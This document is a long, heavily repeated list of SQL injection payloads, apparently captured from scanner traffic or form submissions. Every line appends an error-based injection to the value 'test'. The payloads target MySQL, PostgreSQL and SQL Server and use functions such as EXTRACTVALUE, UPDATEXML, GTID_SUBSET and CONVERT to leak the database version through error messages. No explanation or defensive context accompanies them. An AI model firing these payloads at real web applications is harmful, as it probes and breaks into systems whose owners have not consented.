test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

